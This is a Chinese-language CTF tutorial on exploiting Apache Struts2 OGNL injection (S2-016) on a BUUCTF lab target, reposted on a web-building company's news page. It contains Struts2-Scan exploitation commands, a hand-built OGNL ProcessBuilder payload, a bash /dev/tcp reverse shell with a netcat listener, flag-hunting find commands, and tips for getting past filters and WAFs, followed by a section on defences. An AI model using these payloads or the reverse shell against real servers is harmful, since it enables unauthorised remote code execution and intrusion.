尧图建网站 尧图建网站 YAOTU WEB BUILD 免费咨询
ARTICLE DETAIL

资讯详情

深耕网站建设与建站编程的一线实战洞察。

Struts2漏洞实战:从OGNL注入到RCE的靶场利用与工具链解析

Struts2漏洞实战:从OGNL注入到RCE的靶场利用与工具链解析 1. 项目概述从靶场到实战的漏洞利用之旅最近在BUUCTF平台上刷题又碰到了经典的Struts2漏洞利用场景。这类题目在CTF的Web安全赛道上几乎是“常驻嘉宾”尤其是S2-001、S2-045这些老牌漏洞经常被用来考察选手对漏洞原理的理解和工具使用的熟练度。很多新手朋友看到“Struts2”、“OGNL表达式”、“代码执行”这些词就有点发怵觉得门槛太高。其实不然只要你理解了它的核心逻辑再配合一些趁手的工具完全可以在几分钟内拿到flag。这篇文章我就以一个BUUCTF上的典型Struts2漏洞靶场为例带你走一遍完整的流程。我们不只讲“怎么打”更要拆解清楚“为什么这么打”包括漏洞的触发点在哪里、工具背后的命令是如何构造的、以及如何绕过一些常见的限制。最后我还会分享几款我平时在渗透测试和CTF中常用的、经过实战检验的工具链它们能极大提升你的效率。无论你是CTF新手想入门Web安全还是想巩固Struts2漏洞知识体系这篇手把手的指南都能给你带来直接的帮助。2. Struts2漏洞核心原理与靶场环境解析2.1 Struts2框架与OGNL表达式注入漏洞的根源要利用Struts2漏洞首先得明白它为什么会有漏洞。Struts2是一个基于MVC设计模式的Java Web应用框架它的一个核心特性是使用OGNLObject-Graph Navigation Language表达式。OGNL非常强大它允许在视图层JSP等中动态访问和操作后端Java对象的值栈ValueStack。简单来说前端提交的参数框架会尝试用OGNL去解析并把结果填充到对应的Java对象属性里。漏洞就出在这个“解析”环节。如果开发者在编写Action控制器时没有对用户输入进行严格的过滤和校验攻击者就可以提交精心构造的、包含恶意OGNL表达式的参数。当Struts2框架在处理请求时会错误地将这些表达式当作合法的代码来执行。这就导致了OGNL表达式注入进而可能实现远程代码执行RCE。用一个生活化的类比Struts2框架就像一个自动化的仓库管理员ValueStack前台视图说要“把A区第三排的箱子搬到B区”管理员会照做。但漏洞在于这个管理员太“听话”了如果黑客在前台说“把A区第三排的箱子里面装着系统钥匙搬给我然后打开保险柜”管理员也会不假思索地去执行。OGNL表达式就是黑客说的这句“复杂指令”。在BUUCTF的靶场中为了降低难度通常会启用一些已知漏洞的Struts2版本并且关闭了沙盒防护或使用了有问题的配置。我们的目标就是找到那个可以注入恶意OGNL表达式的输入点。2.2 BUUCTF靶场典型环境与漏洞版本识别在实战中第一步永远是信息收集。对于Struts2靶场我们需要判断其大概的版本和可能存在的漏洞类型。虽然BUUCTF的题目通常会给出提示比如标题直接写明S2-001但在真实渗透测试中这一步至关重要。常见的识别方法HTTP响应头查看服务器返回的HTTP头有时会包含X-Powered-By: Struts或类似信息。错误页面故意触发一个错误比如访问不存在的ActionStruts2默认的错误页面可能会泄露版本信息。URL路径特征Struts2应用通常有特定的URL模式如*.action,*.do或者直接使用/index这样的无后缀形式但配置了Struts2的过滤器。使用探测工具这是最有效的方法。我们可以使用如Struts2-Scan这样的工具它内置了多个漏洞的检测POCProof of Concept能快速识别出靶场存在的具体漏洞编号。在本次针对的BUUCTF靶场中我们假设通过简单访问发现其存在一个登录页面提交表单的地址类似于/login.action。这符合Struts2的典型特征。接下来我们就需要选择合适的漏洞进行探测和利用。注意在真实环境中未经授权的漏洞扫描和攻击是违法行为。所有练习必须在像BUUCTF这样合法的、授权的靶场或自己搭建的测试环境中进行。3. 漏洞利用工具链深度解析与实战配置“工欲善其事必先利其器”。面对Struts2众多的漏洞编号S2-001, S2-005, S2-008, S2-012, S2-013, S2-015, S2-016, S2-045, S2-048, S2-052, S2-057...手动构造Payload效率极低且容易出错。因此一套自动化工具是必备的。3.1 核心利用工具推荐与对比这里我推荐三款主力工具它们各有侧重可以组合使用。1. Struts2-Scan (推荐指数: ★★★★★)这是一款Python编写的漏洞检测与利用工具在GitHub上非常流行。它集成了几乎所有已知的Struts2漏洞的检测和利用模块。优点全、快、方便。一条命令即可完成检测和利用支持自定义命令执行、回显检测、上传文件等操作。缺点由于知名度高可能会被防守方的WAF或IDS重点关照。在一些有简单防护的靶场中其默认Payload可能需要调整。适用场景CTF竞赛、内部渗透测试、快速资产漏洞筛查。2. Apache Struts 2 Exploit (AKA “Struts2漏洞利用工具”)这是一款图形化界面的工具通常是一个.jar可执行文件。对于不熟悉命令行的朋友非常友好。优点图形化操作直观。填写目标URL、选择漏洞编号、输入命令即可执行结果回显在界面中。缺点更新可能不如命令行工具及时携带和部署不如脚本方便。适用场景Windows环境下的快速测试、新手入门体验。3. 手动构造与Burp Suite组合 (推荐指数: ★★★★☆)这是高阶玩法也是理解漏洞本质的必经之路。通过分析漏洞原理手动构造OGNL表达式Payload并用Burp Suite的Repeater模块进行发送和调试。优点最灵活可以绕过一些工具特征检测。能深入理解Payload的构造过程遇到变形或过滤时能自己调整。缺点耗时需要深厚的漏洞原理知识。适用场景应对有WAF/过滤的复杂环境、漏洞研究、CTF中需要绕过特定过滤的题目。对于BUUCTF的入门和中级靶场Struts2-Scan基本可以通杀。下面我们重点讲解它的使用。3.2 Struts2-Scan 的安装与深度配置假设你已经在Linux或macOS上配置好了Python3环境Windows下建议使用WSL。安装步骤git clone https://github.com/HatBoy/Struts2-Scan.git cd Struts2-Scan pip3 install -r requirements.txt安装过程很简单主要依赖requests、urllib3等库。工具目录结构解析了解工具结构有助于你后续自定义Payload。struts2_scan.py: 主程序文件。modules/: 存放所有漏洞检测模块的目录。每个.py文件对应一个漏洞如S2-001.py。data/: 可能包含一些字典或配置文件。pocs/: 存放漏洞检测的Payload数据。核心参数详解运行python3 struts2_scan.py -h可以看到所有参数。我们挑最关键的几个讲-u, --url: 指定目标URL。这是唯一必须的参数。-n, --vulname: 指定漏洞名称进行单独检测如S2-001。如果不指定则运行全量检测。--mode: 指定模式。auto是自动检测并利用verify是仅检测exploit是直接利用需配合-n。-c, --command: 在利用模式(--mode exploit)下指定要执行的系统命令。--upfile,--uppath: 用于文件上传漏洞利用的参数。--proxy: 设置代理如http://127.0.0.1:8080方便用Burp Suite拦截查看流量学习Payload构造。一个重要的实操心得在CTF中拿到命令执行权限后第一个命令往往不是whoami或id而是寻找flag。flag可能被重命名放在非标准路径。我常用的命令组合是# 查看当前目录 pwd ls -la # 查找包含flag关键词的文件 find / -type f -name *flag* 2/dev/null find / -type f -iname *.txt -o -iname *.php -o -iname *.html 2/dev/null | xargs grep -l flag{ 2/dev/null # 查看常见web目录 ls -la /var/www/html/ cat /flag cat /flag.txt2/dev/null是为了将权限错误等无关信息丢弃让结果更清晰。4. 靶场实战手把手漏洞利用与Flag获取现在我们假设BUUCTF上有一个靶机IP为http://123.123.123.123:8080请替换为实际靶场地址存在Struts2漏洞。4.1 第一步自动化检测漏洞我们使用Struts2-Scan进行全漏洞扫描了解目标存在的弱点。python3 struts2_scan.py -u http://123.123.123.123:8080/login.action工具会开始自动运行依次尝试各个漏洞模块的检测Payload。你会在终端看到类似下面的输出[*] Checking: S2-001 [-] S2-001 Not Vulnerable. [*] Checking: S2-005 [-] S2-005 Not Vulnerable. ... [*] Checking: S2-016 [] S2-016 Vulnerable! ... [*] Checking: S2-045 [-] S2-045 Not Vulnerable.扫描结束后工具会总结出所有检测到的漏洞。假设这里检测到S2-016和S2-048是存在的。4.2 第二步选择漏洞进行利用我们选择S2-016进行利用。这个漏洞通常通过redirect:或redirectAction:参数进行OGNL注入。python3 struts2_scan.py -u http://123.123.123.123:8080/login.action -n S2-016 --mode exploit -c whoami-n S2-016: 指定利用S2-016漏洞。--mode exploit: 设置为利用模式。-c whoami: 要执行的命令是whoami用于确认当前用户权限。如果漏洞存在且利用成功你会在回显中看到命令执行的结果例如[] Command Result: www-data这表明我们以www-data常见的Web服务用户身份执行了命令。4.3 第三步定位并读取Flag确认命令执行无误后下一步就是寻找flag。根据CTF的常见套路flag可能在根目录、Web目录、或当前用户的家目录。python3 struts2_scan.py -u http://123.123.123.123:8080/login.action -n S2-016 --mode exploit -c find / -name *flag* 2/dev/null | head -20这个命令在服务器上查找包含“flag”字样的文件并只显示前20个结果。假设返回/flag /var/www/html/flag.php /tmp/flag_temp.txt最有可能的就是根目录下的/flag文件。我们直接读取它python3 struts2_scan.py -u http://123.123.123.123:8080/login.action -n S2-016 --mode exploit -c cat /flag如果一切顺利终端将打印出flag内容格式通常为flag{xxxx-xxxx-xxxx-xxxx}或BUUCTF{...}。恭喜你成功利用漏洞获取了flag4.4 第四步利用的另一种形式——反弹Shell在某些复杂的CTF场景或真实的渗透测试中直接命令回显可能被拦截或者我们需要一个更稳定的交互式Shell。这时就需要反弹Shell。反弹Shell的原理是让靶机主动连接我们控制的监听服务器并将其命令行输入输出的数据流重定向到这个网络连接上。操作流程在攻击机你的电脑上开启监听。使用Netcat工具在某个端口如9999上监听。nc -lvnp 9999-l监听-v详细信息-n不解析域名-p指定端口。构造反弹Shell命令。我们需要一个能在靶机上执行的、能建立网络连接并启动Shell的命令。常用的Payload有很多这里以最经典的bash反弹为例bash -c bash -i /dev/tcp/你的攻击机IP/9999 01你需要将你的攻击机IP替换成你电脑在靶场网络中的IP如果是本地靶场可能是127.0.0.1或192.168.x.x。通过Struts2漏洞执行该命令。由于命令中包含特殊字符空格直接放在-c参数里可能会被错误解析。我们需要对命令进行URL编码或者使用工具内置的编码功能。更稳妥的方法是将命令写入一个脚本文件再执行或者使用其他编码方式。一个更通用的方法是使用Python编码python3 struts2_scan.py -u http://123.123.123.123:8080/login.action -n S2-016 --mode exploit --encode -c bash -c bash -i /dev/tcp/192.168.1.100/9999 01注意--encode参数它会对命令进行Base64等编码有助于绕过一些简单的字符过滤。但复杂的Payload仍可能失败需要根据实际情况调整。执行命令。在攻击机的Netcat监听窗口如果看到连接建立并出现了类似www-datatarget-host:/var/www/html$的提示符说明反弹Shell成功。此时你就可以像在本地终端一样执行cat /flag等命令了。重要注意事项反弹Shell是渗透测试中获取持久访问的重要手段但在CTF中除非题目明确要求或直接命令执行无法完成目标否则直接读取flag是更快捷的方式。在BUUCTF等平台网络隔离可能使得反弹Shell无法连通请优先尝试直接命令执行。5. 进阶技巧与疑难问题排查实录工具用起来顺手但遇到问题怎么办下面分享一些我踩过的坑和对应的解决方案。5.1 工具利用失败常见原因与排查思路问题现象可能原因排查与解决方案扫描结果显示无漏洞1. 目标确实不存在漏洞。2. 目标URL路径不对。3. 工具Payload被WAF/IDS拦截。4. 网络不通或靶机未启动。1. 确认靶场描述是否明确提示Struts2漏洞。2. 使用目录扫描工具如dirsearch寻找可能的.action,.do端点。3. 使用--proxy参数设置代理到Burp查看请求是否被正常发送响应是否被拦截或修改。4. 用浏览器或curl访问目标确认服务可达。检测到漏洞但利用失败1. 命令执行有回显但被过滤/编码。2. 当前用户权限不足。3. 命令语法在目标环境不兼容如靶机是Windows。4. 使用的漏洞类型正确但注入点参数不对。1. 尝试使用编码命令--encode或尝试执行无回显命令测试如ping你的服务器或sleep 5看响应是否延迟。2. 执行whoami、id查看权限。尝试寻找提权方法或查看当前目录是否有可读文件。3. CTF环境绝大多数是Linux。如果真是Windows尝试dir,type等命令。4. 研究该漏洞的具体利用方式。S2-016常用redirect:参数S2-045利用Content-Type头等。用Burp抓包手动替换不同参数尝试。工具报错或异常退出1. Python依赖库缺失或版本不对。2. 目标返回异常数据导致解析错误。3. Payload中包含特殊字符导致脚本处理出错。1. 检查requirements.txt是否安装完整。在虚拟环境中操作是好习惯。2. 忽略非关键错误或尝试使用-n指定单个漏洞模块运行。3. 对于复杂命令尝试先执行简单的echo test或id来验证通道是否畅通。5.2 手动构造Payload以S2-016为例理解工具背后的Payload能让你在工具失效时自己动手。S2-016的一个典型利用参数是redirect:。原始请求可能是一个GET请求GET /login.action?nametestpassword123 HTTP/1.1利用时我们构造一个包含OGNL表达式的redirect参数GET /login.action?redirect:%25{(newjava.lang.ProcessBuilder(newjava.lang.String[]{whoami})).start()} HTTP/1.1这里%25{是URL编码后的%{OGNL表达式从这里开始。表达式(new java.lang.ProcessBuilder(new java.lang.String[]{whoami})).start()创建了一个执行whoami命令的进程。为什么用ProcessBuilder而不用Runtime.exec()两者都可以。ProcessBuilder是更现代、更推荐的方式尤其在处理复杂命令和参数时更清晰。在OGNL表达式中由于字符串解析和转义的问题使用字符串数组形式的ProcessBuilder往往比拼接命令字符串的Runtime.exec()更可靠。在Burp Suite中手动测试用浏览器访问靶场用Burp抓包。将请求发送到Repeater模块。修改请求添加或修改参数为上述Payload。发送请求观察响应。如果漏洞存在且命令执行成功响应体中可能会包含命令执行的结果如www-data或者响应时间有明显延迟如果执行了sleep。如果响应被重定向到了错误页面可能需要尝试其他参数如redirectAction:或调整OGNL表达式的写法。5.3 应对简单过滤与WAF的思考一些靶场会设置简单的过滤比如黑名单关键字Runtime,ProcessBuilder,java.lang等。绕过思路字符串拼接java.lang.ProcessBuilder可以写成java.lang.ProcessBuilderOGNL支持字符串连接。反射调用通过反射来获取类和方法这是更高级的绕过方式。例如不使用new关键字而是用Class.forName()来加载类。编码使用URL编码、Hex编码、Base64编码等。工具自带的--encode参数就是做这个的。使用其他等价类或方法如果ProcessBuilder被禁可以尝试Runtime.getRuntime().exec()。一个简单的反射Payload示例概念性%{#p(new java.lang.ProcessBuilder(new java.lang.String[]{cat,/flag})).start(),#isrnew java.io.InputStreamReader(#p.getInputStream()),#brnew java.io.BufferedReader(#isr),#bfnew char[500],#br.read(#bf),#str#bf.toString()}这个Payload不仅执行命令还读取了命令的输出并存储在变量#str中但如何回显又是一个问题。在实际利用中我们通常借助工具生成经过测试的、有效的Payload而不是每次都手动构造如此复杂的表达式。6. 防御视角从攻击中学习安全开发作为攻击者我们利用漏洞但作为开发者或安全人员我们必须知道如何防御。通过分析Struts2漏洞的利用过程我们可以总结出关键的防御点及时升级这是最根本、最有效的措施。Apache Struts官方对每个公开漏洞都会发布安全更新和修复版本。确保生产环境使用的Struts2框架版本是最新的或至少不在已知的高危漏洞影响范围内。输入验证与过滤对所有用户输入进行严格的验证和过滤。不仅包括表单参数还包括HTTP头如Content-TypeS2-045的利用点、文件名等。使用白名单机制只允许预期的字符和格式。禁用动态方法调用在Struts2配置中struts.xml将struts.enable.DynamicMethodInvocation设置为false可以防止通过action!method形式调用任意方法堵住一部分漏洞利用路径。限制OGNL表达式执行通过配置struts.ognl.excludedClasses和struts.ognl.excludedPackageNames等属性禁止OGNL访问危险的内置类如java.lang.Runtime。部署安全设备在应用前端部署WAFWeb应用防火墙可以拦截和阻断常见的漏洞攻击Payload为修复漏洞争取时间。最小权限原则运行Struts2应用的Web服务器进程如Tomcat下的www-data用户应被赋予最小必要的系统权限。这样即使被攻破攻击者也无法执行高危操作如读写敏感系统文件。理解攻击是为了更好的防御。每一次成功的漏洞利用都应该让你对安全的重要性有更深的认识。在BUUCTF这样的平台上练习正是在一个安全、合法的环境中锻炼这种“攻防一体”思维的最佳方式。当你拿到flag的成就感平复后不妨多思考一下“如果这是我负责的系统我该如何防止别人用同样的方法入侵” 这个问题或许比flag本身更有价值。
返回列表